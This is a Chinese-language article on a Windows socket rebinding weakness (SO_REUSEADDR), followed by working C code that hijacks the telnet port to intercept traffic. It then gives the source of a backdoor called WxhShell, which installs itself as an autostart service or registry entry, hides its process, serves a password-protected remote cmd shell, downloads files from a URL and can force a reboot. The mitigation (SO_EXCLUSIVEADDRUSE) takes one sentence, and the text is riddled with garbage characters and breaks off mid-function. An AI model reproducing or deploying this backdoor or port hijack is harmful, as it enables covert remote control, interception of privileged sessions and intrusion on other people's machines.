在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
KE$I!$zO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
~<Eu
@8+_ ;T-`~ saddr.sin_family = AF_INET;
A,PF#G( TUy
25E saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4,g[g#g<q bd'io O bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5rX_85 ] l&JV.}qGB8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^*g= 65!1 @zs.M-F 这意味着什么?意味着可以进行如下的攻击:
IjaFNZZC! IuV7~w 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
NCX`-SLv Zb&5)&'X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
i>j(Ds v `f)X!S2l 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xR~9|H9a _keI0ML-# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8x~'fzf;Sq .]XBJc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
b )(si/]\ u.yjk/jF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
eeVzOq( xwhS[d 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
FE=vUQXE2 DeK&_)g| Z #include
OCN:{ #include
Pl/B#Sbf' #include
NG+%H1!$_ #include
52P^0<Wq DWORD WINAPI ClientThread(LPVOID lpParam);
};m.8(}$) int main()
q9gk:Jt {
;;>G}pG WORD wVersionRequested;
G=(ja?d DWORD ret;
QHHj.ZY WSADATA wsaData;
3UgPVCT BOOL val;
<lN=<9 SOCKADDR_IN saddr;
x'iBEm SOCKADDR_IN scaddr;
JT cE{i int err;
boeIO\2}P0 SOCKET s;
Xh?J"kjof SOCKET sc;
D b&=
N int caddsize;
oK@_
HANDLE mt;
v;.w*x8Jw DWORD tid;
?QRoSQ6 wVersionRequested = MAKEWORD( 2, 2 );
XjFaP { err = WSAStartup( wVersionRequested, &wsaData );
@v~<E?Un if ( err != 0 ) {
w,zm$s ^ printf("error!WSAStartup failed!\n");
pY$DOr-r` return -1;
2J &J }
9i`MUE1Sh saddr.sin_family = AF_INET;
!*!i&0QC~R fn3DoD+I //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/P[ @o @W.0YU0|J saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2{A/Fbk saddr.sin_port = htons(23);
l\6.f_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dTVh{~/ {
(.~,I+Cz' printf("error!socket failed!\n");
tSX,*cz return -1;
Z}`A'#! }
z{(c-7* val = TRUE;
M?v`C>j //SO_REUSEADDR选项就是可以实现端口重绑定的
wDt9Lf
O if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
82P#C4c+d {
$_+.D`vx` printf("error!setsockopt failed!\n");
)Im3';qt return -1;
_edT+r>+ }
2#_i_j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7Um3myXU //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
T]lVwj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+![\7 l<UJ@XID$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7J|eL
yj {
3e?a$~9 ret=GetLastError();
|>v8yS5 printf("error!bind failed!\n");
|bX{MF return -1;
?'mi6jFFh }
}kF*I@:g listen(s,2);
Y;1J`oT while(1)
nV_[40KP_ {
^$;5ZkQy caddsize = sizeof(scaddr);
!=p^@N7 //接受连接请求
!glGW[r/7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+GlG.6 if(sc!=INVALID_SOCKET)
bnxR)b~ {
G|LcTV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
iUOGuiP if(mt==NULL)
+8 }p-<a {
~PA6e+gmL printf("Thread Creat Failed!\n");
/9<62F@zJ" break;
ZJ'FZ8Sx }
nA.~} }
*GC9o/ CloseHandle(mt);
5@`DS-7h }
j9O"!9$vQ closesocket(s);
~Aoo\fN_U WSACleanup();
!^IAn return 0;
c n^z=? }
:M\3.7q DWORD WINAPI ClientThread(LPVOID lpParam)
ct@i]}"` {
qAirH1# SOCKET ss = (SOCKET)lpParam;
T]y^PT<8? SOCKET sc;
[8rl{~9E unsigned char buf[4096];
Y5\=5r/ SOCKADDR_IN saddr;
0RkiD8U5 long num;
PJ'.s
DWORD val;
]V.0%Ccw;. DWORD ret;
B$&&'i% //如果是隐藏端口应用的话,可以在此处加一些判断
1ZRSeh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
nI<Ab_EB saddr.sin_family = AF_INET;
Jsw%.< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q+=D#x saddr.sin_port = htons(23);
{+x;J4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
IWP[?U= {
&J}w_BFww printf("error!socket failed!\n");
<"}WpT return -1;
p<AzpkU,A }
.h@HAnmE val = 100;
\
0aa0= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5d5q0bb {
$S{]` + ret = GetLastError();
bT#re return -1;
JN<IMH }
hwB>@r2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<s(<ax30 {
D$PR<>=y ret = GetLastError();
M,/{ 53 return -1;
D_-<V,3t }
Yn1CU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
23JuuV. {
iTg7@% printf("error!socket connect failed!\n");
Hsi<!g. closesocket(sc);
)R]gJ_,c closesocket(ss);
oar`xH$C return -1;
(#%R'9Rv }
{ZrB,yK while(1)
g
xf|L>= {
T!pjv8y@R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?~s2 3%E //如果是嗅探内容的话,可以再此处进行内容分析和记录
@gHWU>k,A //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
SM@RELA'Lb num = recv(ss,buf,4096,0);
^VAvQ(b!:i if(num>0)
[Csv/ send(sc,buf,num,0);
bRb+3au_x
else if(num==0)
3^J~ts{* break;
E#A}J: num = recv(sc,buf,4096,0);
N>'|fNx] if(num>0)
r%^J3 send(ss,buf,num,0);
y&8kORz;? else if(num==0)
H&3i[D!p break;
1} h''p }
1xF<c< closesocket(ss);
H<bK9k)E closesocket(sc);
~Q/G_^U: return 0 ;
T($6L7 j9 }
!;ipLC;e} U*7Yi-"/* WPzq?yK ==========================================================
;mYj`/Yj x&PVsXdt5m 下边附上一个代码,,WXhSHELL
/>E:}1}{ fR6.:7& ==========================================================
lqe71](sK8 ddiBjp2.! #include "stdafx.h"
07:N)y, A]k-bX= s #include <stdio.h>
IU*w'a #include <string.h>
si|DxDx #include <windows.h>
J&bhR9sF #include <winsock2.h>
fX[6
{ #include <winsvc.h>
uqMe% #include <urlmon.h>
a6&+>\o {~RS$ | #pragma comment (lib, "Ws2_32.lib")
CYCG5)<9 #pragma comment (lib, "urlmon.lib")
`[*n UdG |#6))Dh #define MAX_USER 100 // 最大客户端连接数
"\l O1D #define BUF_SOCK 200 // sock buffer
PfKF!/c
B #define KEY_BUFF 255 // 输入 buffer
a~nErB F:o<E 42 #define REBOOT 0 // 重启
K
V-}:u( #define SHUTDOWN 1 // 关机
j~a"z4 0 ZXR#t?D #define DEF_PORT 5000 // 监听端口
n6f (,5,} #define REG_LEN 16 // 注册表键长度
Z1t?+v+Ro* #define SVC_LEN 80 // NT服务名长度
+g6t)Gl s/"?P/R // 从dll定义API
kA1C& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
XW*,Lo5>H\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
IV5B5Q'D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
lwU$*?yv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Zoi\r D@cv{
_M/ // wxhshell配置信息
I|#1u7X%] struct WSCFG {
b+ g(=z+ int ws_port; // 监听端口
%di]1vQ char ws_passstr[REG_LEN]; // 口令
S|pMX87R int ws_autoins; // 安装标记, 1=yes 0=no
Gc'CS_L char ws_regname[REG_LEN]; // 注册表键名
WE hDep: char ws_svcname[REG_LEN]; // 服务名
TL?(0]Hfe char ws_svcdisp[SVC_LEN]; // 服务显示名
{ eU_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
dD Zds
k+! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\ tK{!v+ int ws_downexe; // 下载执行标记, 1=yes 0=no
L:(>ON char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5:o$]LkOWC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*nPB+@f H*Tc.Ie };
\VTNXEw*G ia!b0*< // default Wxhshell configuration
P9\!JH! struct WSCFG wscfg={DEF_PORT,
;B'5B]A3 "xuhuanlingzhe",
-666|pA 1,
*r&q;ER "Wxhshell",
ZDI%?.U "Wxhshell",
c~1X/,biA "WxhShell Service",
_7O;ED+ "Wrsky Windows CmdShell Service",
Dj~]] "Please Input Your Password: ",
(61_=,jv\h 1,
L6xLD X7y "
http://www.wrsky.com/wxhshell.exe",
i09w(k? "Wxhshell.exe"
]7d~,<3R };
f~RS[h`: PyS~2)=B // 消息定义模块
7q' _]$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
cNX0.7Ls char *msg_ws_prompt="\n\r? for help\n\r#>";
Z]1=nSv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
x
tJ_azt char *msg_ws_ext="\n\rExit.";
P?y3YxS char *msg_ws_end="\n\rQuit.";
cPemrNxydN char *msg_ws_boot="\n\rReboot...";
q]-CTx$ char *msg_ws_poff="\n\rShutdown...";
: DxCjv char *msg_ws_down="\n\rSave to ";
fcuU,A .)7r /1o char *msg_ws_err="\n\rErr!";
nj (/It char *msg_ws_ok="\n\rOK!";
j A 9! nZfU:N char ExeFile[MAX_PATH];
V>{G$(v$ int nUser = 0;
wX0m8"g@ HANDLE handles[MAX_USER];
$/*6tsR int OsIsNt;
PFqc_!Pm aXoD{zA SERVICE_STATUS serviceStatus;
W;Rx(o> SERVICE_STATUS_HANDLE hServiceStatusHandle;
'E4`qq -`iXAyr)m // 函数声明
/D]V3|@E int Install(void);
~{#$`o= int Uninstall(void);
pzo9?/- int DownloadFile(char *sURL, SOCKET wsh);
.HM1c int Boot(int flag);
^1a/)Be{_ void HideProc(void);
MWsjkI` int GetOsVer(void);
hnQDm$k int Wxhshell(SOCKET wsl);
n~1'M/wh void TalkWithClient(void *cs);
BZ] 6W/0 int CmdShell(SOCKET sock);
6,ZfC<) int StartFromService(void);
-/#VD&MJO= int StartWxhshell(LPSTR lpCmdLine);
7j>NUx=j3 p19[qy~. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
KtT.WHr(m VOID WINAPI NTServiceHandler( DWORD fdwControl );
*h<=
(Y% >@NH Al // 数据结构和表定义
B! `Dj,_ SERVICE_TABLE_ENTRY DispatchTable[] =
Quc,,#u {
|WopsV
% {wscfg.ws_svcname, NTServiceMain},
;XJK*QDN {NULL, NULL}
!)jw o=l}J };
n{>Ge,enP0 Qy)+YhE // 自我安装
IL:d`Kbqf int Install(void)
0W asE1t| {
>&@hm4 char svExeFile[MAX_PATH];
~?V+^<P HKEY key;
ugtzF strcpy(svExeFile,ExeFile);
2Xu?/yd ? m$uqi // 如果是win9x系统,修改注册表设为自启动
\2?p if(!OsIsNt) {
)Ir_:lk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zW`Zmt\T2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=h?Q.vad RegCloseKey(key);
!Gv*iWg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<b-BJ2],k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@/S6P-4 RegCloseKey(key);
?;{fqeJz return 0;
'Zq$W]i }
R^%uEP }
_eB?G }
~c
e?xr| else {
lpW|GFG zeqP:goy // 如果是NT以上系统,安装为系统服务
}uI(D&?+h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:<-,[(@bR if (schSCManager!=0)
GZ L{~7n {
S(7_\8h SC_HANDLE schService = CreateService
~,
hPi (
U Ox$Xwp5& schSCManager,
dx=\Pq wscfg.ws_svcname,
?/mk FDN wscfg.ws_svcdisp,
Nhh2P4gH SERVICE_ALL_ACCESS,
oo{5: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!B= Oc!e=K SERVICE_AUTO_START,
:!omog SERVICE_ERROR_NORMAL,
t@GPB]3[ svExeFile,
A#s`!SNv NULL,
x\=2D<@az NULL,
yOn +Y NULL,
`O-LM e NULL,
T [w]w
NULL
Jjb(l W );
r]x;JBy if (schService!=0)
<
V?CM(1C {
B]PTe~n^ CloseServiceHandle(schService);
H'Mc]zw_, CloseServiceHandle(schSCManager);
)I80Nq
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#A8d@]Ps strcat(svExeFile,wscfg.ws_svcname);
Cdjh/+!f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
fvajNP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
V?g@pnN" RegCloseKey(key);
>Z#=< return 0;
Wsn}Y-x }
RP]hW{:U }
1vcI`8%S+u CloseServiceHandle(schSCManager);
KtWG2 }
]w _,0q }
1Aq*|JSk( )7mX]@ return 1;
y(pHt }
Ol>"' ?^z!yD\ // 自我卸载
;H#'9p ,2 int Uninstall(void)
lFWN[`H {
P) fv:a HKEY key;
b\zRwp >uN`q1?l' if(!OsIsNt) {
O?uT'$GT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2Wlk] RegDeleteValue(key,wscfg.ws_regname);
(>qX> RegCloseKey(key);
Az.k6)~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a:jRQ-F) RegDeleteValue(key,wscfg.ws_regname);
T^-fn RegCloseKey(key);
t#+X*'/ return 0;
Jji~MiMn }
Jtj_Rl
! }
9wP_dJvb }
$!c)%qDq else {
%Z-^Bu8;y i2{xW`AcUh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
fP`g#t)4Tu if (schSCManager!=0)
/^~3Ib8Fw+ {
lAsDdxB` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+w Oa if (schService!=0)
,63hO.4M {
t&UPU&tY if(DeleteService(schService)!=0) {
/#Y)nyE
CloseServiceHandle(schService);
M.K-)r, CloseServiceHandle(schSCManager);
73/kyu-0% return 0;
Q)\7(n }
EG5'kYw2 CloseServiceHandle(schService);
$'3`$
}
+zxj-diM CloseServiceHandle(schSCManager);
LOyL:~$ }
xq:.|{HUk }
<dx
xXzLT _//)|.6c3 return 1;
bWv4'Y!p }
-If-c'"G `fEB,0j^ // 从指定url下载文件
&x{CC@g/ int DownloadFile(char *sURL, SOCKET wsh)
nu,#y"WQ {
qO=_i d HRESULT hr;
#5GIO char seps[]= "/";
(: IUg
char *token;
>_QC_UX>4i char *file;
qu[ ~# char myURL[MAX_PATH];
Gx?p,Fj char myFILE[MAX_PATH];
q/xMM`{ RQI? \?o strcpy(myURL,sURL);
!|`G<WD token=strtok(myURL,seps);
16MRLDhnD while(token!=NULL)
*loPwV8 {
G#/}_P file=token;
$ WA Fr token=strtok(NULL,seps);
@NGK2J }
*>!O2c EWPP&(u3 GetCurrentDirectory(MAX_PATH,myFILE);
u-Pa:wm0- strcat(myFILE, "\\");
o.t$hv| strcat(myFILE, file);
xwa5dtcng send(wsh,myFILE,strlen(myFILE),0);
ua1ov7w$] send(wsh,"...",3,0);
BP2-LG&\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<va3L y)c& if(hr==S_OK)
I0 a,mO;m return 0;
>N>WOLbb7( else
9l2,:EQ* return 1;
&^e%gU8!\ #%k!`?^fbK }
*6~ODiB F)/}Q[o8 // 系统电源模块
mxtLcG4G int Boot(int flag)
Z%~j) {
LRBcW;.Su HANDLE hToken;
7QP%Pny% TOKEN_PRIVILEGES tkp;
x[7jm"Pz 8DbXv~3@ if(OsIsNt) {
@sJ[<V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
h)BRSs?v_D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
eRQ}`DjTk tkp.PrivilegeCount = 1;
D.o|pTZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}f np}L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
kf+]bV if(flag==REBOOT) {
MZf$8R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\B"5 Kp< return 0;
Z<ozANbk }
oK&LYlU else {
j<>|Hi
#` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^,')1r, return 0;
'EJ8)2 }
/*g3TbUs }
WyVFhAuU else {
Eq^k @ if(flag==REBOOT) {
X-9>;Mb~y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~\`lbGJ7? return 0;
Mk"+*G }
6lO]V=+ else {
|cStN[97% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+9G
GC return 0;
1VK?Svnd }
]&\HAmOQS }
<y=VDb/ V%'`nJ! return 1;
QlJ
cj+_h }
q%TWtQS 1C\OL!@L // win9x进程隐藏模块
?D-1xnxep void HideProc(void)
GqumH/; {
<uUQ-]QOIh !"/]<OQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
By {zX,6' if ( hKernel != NULL )
qPZ'n=+ {
*LpEH,J pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
BDSZ ' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Kk1 591' FreeLibrary(hKernel);
Gm;)Om_ }
gRv5l3k I&~kwOP return;
>c%OnA,3 }
zY~ [2?|BUtD[ // 获取操作系统版本
bh|M]*Pq int GetOsVer(void)
_@9[c9bO {
hc
OT+L>
OSVERSIONINFO winfo;
V(_OyxeC{2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vdw5T&Q{{C GetVersionEx(&winfo);
I Wcgh`8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
e5G)83[= return 1;
>p#` %S else
VZo[\sWf return 0;
1BT]_ cP }
HA&7
ybl Fw5|_@&k // 客户端句柄模块
sC
>_ulkoa int Wxhshell(SOCKET wsl)
/aS= vjs {
ap=m5h27 SOCKET wsh;
pgbm2mT9 struct sockaddr_in client;
YoyJnl.?u DWORD myID;
@_s`@,= -&4>>h9_ while(nUser<MAX_USER)
P^V,"B8t {
_5TSI'@.4 int nSize=sizeof(client);
8*7t1$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
z~&uLu if(wsh==INVALID_SOCKET) return 1;
MmiC%"7wt ]v^/c~"${ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
vD<6BQR if(handles[nUser]==0)
*69{#qN closesocket(wsh);
ZrY#B8 else
V]I@&*O~r nUser++;
!5,>[^y3 }
K$v
SdpC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
GL;@heP 9V&}% return 0;
58xaVOhb }
+B(x:hzY9 "Tw4'AY'P // 关闭 socket
5ncjv@Aa void CloseIt(SOCKET wsh)
cs[_TJo {
+;z^qn closesocket(wsh);
8VG6~>ux'> nUser--;
3#GZ6:rVJ ExitThread(0);
8A q [@i }
#I>
c$dd C]S~DK1 // 客户端请求句柄
[/dGOl+ void TalkWithClient(void *cs)
?%RAX CK {
G!]%xFwYa ,RmXZnWY SOCKET wsh=(SOCKET)cs;
h>Z NPP8N char pwd[SVC_LEN];
Oi#4|*b{W char cmd[KEY_BUFF];
M)v\7a char chr[1];
6P,vGmR int i,j;
J%VcvBaJm wyzx9`5~d while (nUser < MAX_USER) {
tG8)! !`kX</ha. if(wscfg.ws_passstr) {
`O~NT'Ed8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5L ]TV\\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`Fn"%P! //ZeroMemory(pwd,KEY_BUFF);
eKRslMa i=0;
1XfH,6\8i while(i<SVC_LEN) {
`As|MYv WP(+jL^- // 设置超时
#Z;6f{yWf fd_set FdRead;
jbQ N<`! struct timeval TimeOut;
N$'/J-^ FD_ZERO(&FdRead);
0!4;."S FD_SET(wsh,&FdRead);
Wp2W:JX: TimeOut.tv_sec=8;
mM`zA%= TimeOut.tv_usec=0;
!-G'8a|7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l>(w] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Xk2M.:3` kXjrc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
! z!lQ~ pwd
=chr[0]; !T+jb\O_
if(chr[0]==0xd || chr[0]==0xa) { U2Uf69R
pwd=0; i4sd29v
break; 3K{XT),
} \o|5/N
i++; bIvF5d>9#K
} P<.
TiF?@
+jpaBr-O#
// 如果是非法用户,关闭 socket 8`\^wG$W
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 72i]`
} _'eG
W|~Jl7hs8Q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,s=jtK
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v~l_6V}
1/ZvcdYB
while(1) { jCJbmEfo9@
;f]p`!]
3
ZeroMemory(cmd,KEY_BUFF); S\\3?[!p
.2K4<UOAbm
// 自动支持客户端 telnet标准 WO}l&Q
j=0; Lg;b17
while(j<KEY_BUFF) { `5HFRgL`.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "-y2En
cmd[j]=chr[0]; P4\{be>e
if(chr[0]==0xa || chr[0]==0xd) { mbf'xGO
cmd[j]=0; 0r4,27w
break; sl5y1W/]]
} S_Tv Ix/7&
j++; YsX&]4vzm
} MC
8t"SB
'zRi;:UHA
// 下载文件 t:NYsL
if(strstr(cmd,"http://")) { (31ia"i%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |"K<
if(DownloadFile(cmd,wsh)) 2H,^i,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Mn_T*F
else uG5RE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]+U:8*
} qdM=}lbc
else { t;3n
!=)R+g6b
switch(cmd[0]) { 5B|&+7dCw
nV[0O8p2Md
// 帮助 3?}\Hw
case '?': { IInsq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jfLkp>2E'
break; yLC5S3^1\"
} +#B4Z'nT
// 安装 `Kt]i5[ "
case 'i': { lmsO
6=I4F
if(Install()) hc2AGeZr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n?UFFi+a
else =DL
|Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {vp|f~}zTw
break; F6L}n-p5
} p aQ"[w
// 卸载 nDFF,ge;a#
case 'r': { %(P\"hE'
if(Uninstall()) |vGb,&3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x)]_]_vX
else Iu)76Y@=5=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2cB){.E
break; fwN'5ep
} 3PBGIo
// 显示 wxhshell 所在路径 #1-2)ZO.
case 'p': { k2-:!IE
char svExeFile[MAX_PATH]; 8et*q3D7`
strcpy(svExeFile,"\n\r"); y^ij u(
strcat(svExeFile,ExeFile); MF41q%9p
send(wsh,svExeFile,strlen(svExeFile),0); g?9IS,Gp
break; +,g"8&>
} mDCz=pk)
// 重启 Bd8{25{c
case 'b': { L@&(>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u2FD@Xq?
if(Boot(REBOOT)) .{=|N8*py8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qH8d3?1XO
else { {hNvCk
closesocket(wsh); >l>;"R9N
ExitThread(0); +H4H$H
} )-u0n],
break; )' hOW*v
} p'fD:M:
// 关机 ;1^([>|
case 'd': { Eq\PSa=gz
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fqY;>Z
if(Boot(SHUTDOWN)) +n>_NVe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K<g<xW* X
else { SKUri
closesocket(wsh); r](%9Y
ExitThread(0); !EuqJjh
} C3hQT8~
break; l$\OSG
} 45qSt2
// 获取shell K.R4.{mo
case 's': { nG~#o
CmdShell(wsh); Rn4Bl8z'>
closesocket(wsh); jMAZ4M
ExitThread(0); J?1U'/Wx2
break; "J_#6q*
} cU[^[;4J<
// 退出 Ocp`6Fj
case 'x': { oZ!1^o3V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ElK7jWJ+
CloseIt(wsh); h;lg^zlTb
break; "{@Q..hxC
} )
u(Gf*t
// 离开 5L!cS+QNU
case 'q': { :ot^bAyt|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !4 =]@eFk
closesocket(wsh); pVa9g)+z}
WSACleanup(); _[:>!ekx
exit(1); )UoF*vC(
break;
ib,BYFKEW
} fK?/o]vq
} "B34+fOur
} <pXF$a:s
%RS~>pK1
// 提示信息 <|kS`y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7%0V ?+]P
} |l#<vw
wE
} >2)`/B9f4
-V_iv/fmM
return; s-[v[w'E
} <=g{E-
|3:e$
// shell模块句柄 NU <K+k
int CmdShell(SOCKET sock) Fs}vI~}
{ MKPw;@-
STARTUPINFO si; pFW^
ZeroMemory(&si,sizeof(si)); ! !we4tWq
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -H+<81"B#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dW4FMm>|
PROCESS_INFORMATION ProcessInfo; p "Cxe
char cmdline[]="cmd"; %vZTD+i
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t~0!K;nn
return 0; 5nA
*'($j
} 1!P\x=Nn_
7/># yR
// 自身启动模式 GX\6J]x=^2
int StartFromService(void) ":meys6t#
{ Gkr?M^@K
typedef struct }9FAM@x1K&
{ iS@+qWo1
DWORD ExitStatus; sPxDo?1x-
DWORD PebBaseAddress; \YZ7
DWORD AffinityMask; TilCP"(6D
DWORD BasePriority; 5?=haGn
